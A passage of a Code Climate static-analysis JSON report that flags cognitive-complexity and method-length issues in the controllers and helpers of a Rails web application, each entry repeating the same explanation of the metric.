method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `ldap_security_check` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"523cc3bb278c788d5848949c8c3dead7","location":{"path":"app/controllers/application_controller.rb","lines":{"begin":262,"end":272}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `enforce_terms!` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d14876e741b595110a644395f1230e14","location":{"path":"app/controllers/application_controller.rb","lines":{"begin":318,"end":339}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `ApplicationController` has 53 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"d63945970dce3ed1ef2b7634b214a4e9","location":{"path":"app/controllers/application_controller.rb","lines":{"begin":6,"end":465}},"other_locations":[],"remediation_points":4500000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `users_select_tag` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a108342e6dd48ba76731363b84661eaf","location":{"path":"app/helpers/selects_helper.rb","lines":{"begin":4,"end":26}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `users_select_data_attributes` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a8bad651f6dba343e0468fd0003dd784","location":{"path":"app/helpers/selects_helper.rb","lines":{"begin":74,"end":85}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `show_last_push_widget?` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2f5475afeb1122f3cfa25ac5955cbb27","location":{"path":"app/helpers/application_helper.rb","lines":{"begin":70,"end":86}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `visible_attributes` has 119 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"17f189b8fca7fc3b1f8a420a4bcbda19","location":{"path":"app/helpers/application_settings_helper.rb","lines":{"begin":146,"end":266}},"other_locations":[],"remediation_points":2856000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `toggle_award_url` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d69f1bff0994f6e3441f85f3f11d5bbe","location":{"path":"app/helpers/award_emoji_helper.rb","lines":{"begin":4,"end":17}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `page_gutter_class` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e65e525a4333beebdf83e031e767ef28","location":{"path":"app/helpers/nav_helper.rb","lines":{"begin":21,"end":39}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `get_header_links` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f16a544d112fad89ba71d21c6d5db6a3","location":{"path":"app/helpers/nav_helper.rb","lines":{"begin":55,"end":75}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `diff_match_line` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b869dd8c4eaef5740ed1f255a8f1fbf1","location":{"path":"app/helpers/diff_helper.rb","lines":{"begin":37,"end":57}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `parallel_diff_discussions` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8ca093d3db0a23030593eb120a3b43fd","location":{"path":"app/helpers/diff_helper.rb","lines":{"begin":69,"end":85}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `active_nav_link?` has a Cognitive Complexity of 14 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a16ad6a8f13c9288d42920124805df7f","location":{"path":"app/helpers/tab_helper.rb","lines":{"begin":75,"end":104}},"other_locations":[],"remediation_points":1050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `user_status` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1c1f76f6143eff8d1d22a334a235fd12","location":{"path":"app/helpers/users_helper.rb","lines":{"begin":55,"end":71}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `namespaces_options` has a Cognitive Complexity of 20 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7abb679aa0b2ea21e01c24880d3bf77c","location":{"path":"app/helpers/namespaces_helper.rb","lines":{"begin":9,"end":45}},"other_locations":[],"remediation_points":1650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `options_for_group` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1e8e66fbb82bdafdc25047aa1524869b","location":{"path":"app/helpers/namespaces_helper.rb","lines":{"begin":71,"end":86}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `namespaces_options` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"d1da7571d4cd35e4edcc84ea6e21ec17","location":{"path":"app/helpers/namespaces_helper.rb","lines":{"begin":9,"end":45}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `submodule_links` has a Cognitive Complexity of 14 (exceeds 5 allowed). Consider refactoring.","fingerprint":"592e98a3099ca8bf38ff5b45bcb0dffb","location":{"path":"app/helpers/submodule_helper.rb","lines":{"begin":9,"end":47}},"other_locations":[],"remediation_points":1050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `submodule_links` has 32 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"c06e0c3ec596b1cdfd2de6f634cd6b86","location":{"path":"app/helpers/submodule_helper.rb","lines":{"begin":9,"end":47}},"other_locations":[],"remediation_points":768000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `remove_member_message` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bba34164517c03c61579ce09b9d98bb9","location":{"path":"app/helpers/members_helper.rb","lines":{"begin":4,"end":22}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `chunk_snippet` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"de18ceb549965f7ea862a8c0dc960bea","location":{"path":"app/helpers/snippets_helper.rb","lines":{"begin":64,"end":105}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `labels_filter_path` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9d39f54cf4cda251c101014a6f4c7244","location":{"path":"app/helpers/labels_helper.rb","lines":{"begin":134,"end":149}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `label_status_tooltip` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"64c9182b39df4fa2de87d8d55c2d2cbc","location":{"path":"app/helpers/labels_helper.rb","lines":{"begin":216,"end":222}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `event_feed_title` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0ae609cca64a854e8b692dd72db01e13","location":{"path":"app/helpers/events_helper.rb","lines":{"begin":78,"end":102}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `event_feed_url` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f99a06ad5d757ef02870ca23d95676bc","location":{"path":"app/helpers/events_helper.rb","lines":{"begin":104,"end":122}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `push_event_feed_url` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0a4c5fb26657f91ff277b7ef0d13c32d","location":{"path":"app/helpers/events_helper.rb","lines":{"begin":124,"end":138}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `discussion_path` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f8fcc6a280f6df449c018435d3f92438","location":{"path":"app/helpers/notes_helper.rb","lines":{"begin":77,"end":92}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `clipboard_button` has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c29991b281e121dc435a356a600e4e1e","location":{"path":"app/helpers/button_helper.rb","lines":{"begin":22,"end":59}},"other_locations":[],"remediation_points":850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `dropdown_item_with_description` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8d5076e20cc132338854d62653cd1df8","location":{"path":"app/helpers/button_helper.rb","lines":{"begin":88,"end":97}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `clipboard_button` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"97e66a0f68fa32b384f734ea55e5e044","location":{"path":"app/helpers/button_helper.rb","lines":{"begin":22,"end":59}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `dropdown_tag` has a Cognitive Complexity of 26 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4267997c227f431d5c46888b32748d75","location":{"path":"app/helpers/dropdowns_helper.rb","lines":{"begin":4,"end":41}},"other_locations":[],"remediation_points":2250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `dropdown_toggle` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7a5dbb87125de6801bd8e3f421ea8d82","location":{"path":"app/helpers/dropdowns_helper.rb","lines":{"begin":43,"end":50}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `dropdown_tag` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"5365287d8861b3ecac3eb84417018a2b","location":{"path":"app/helpers/dropdowns_helper.rb","lines":{"begin":4,"end":41}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A 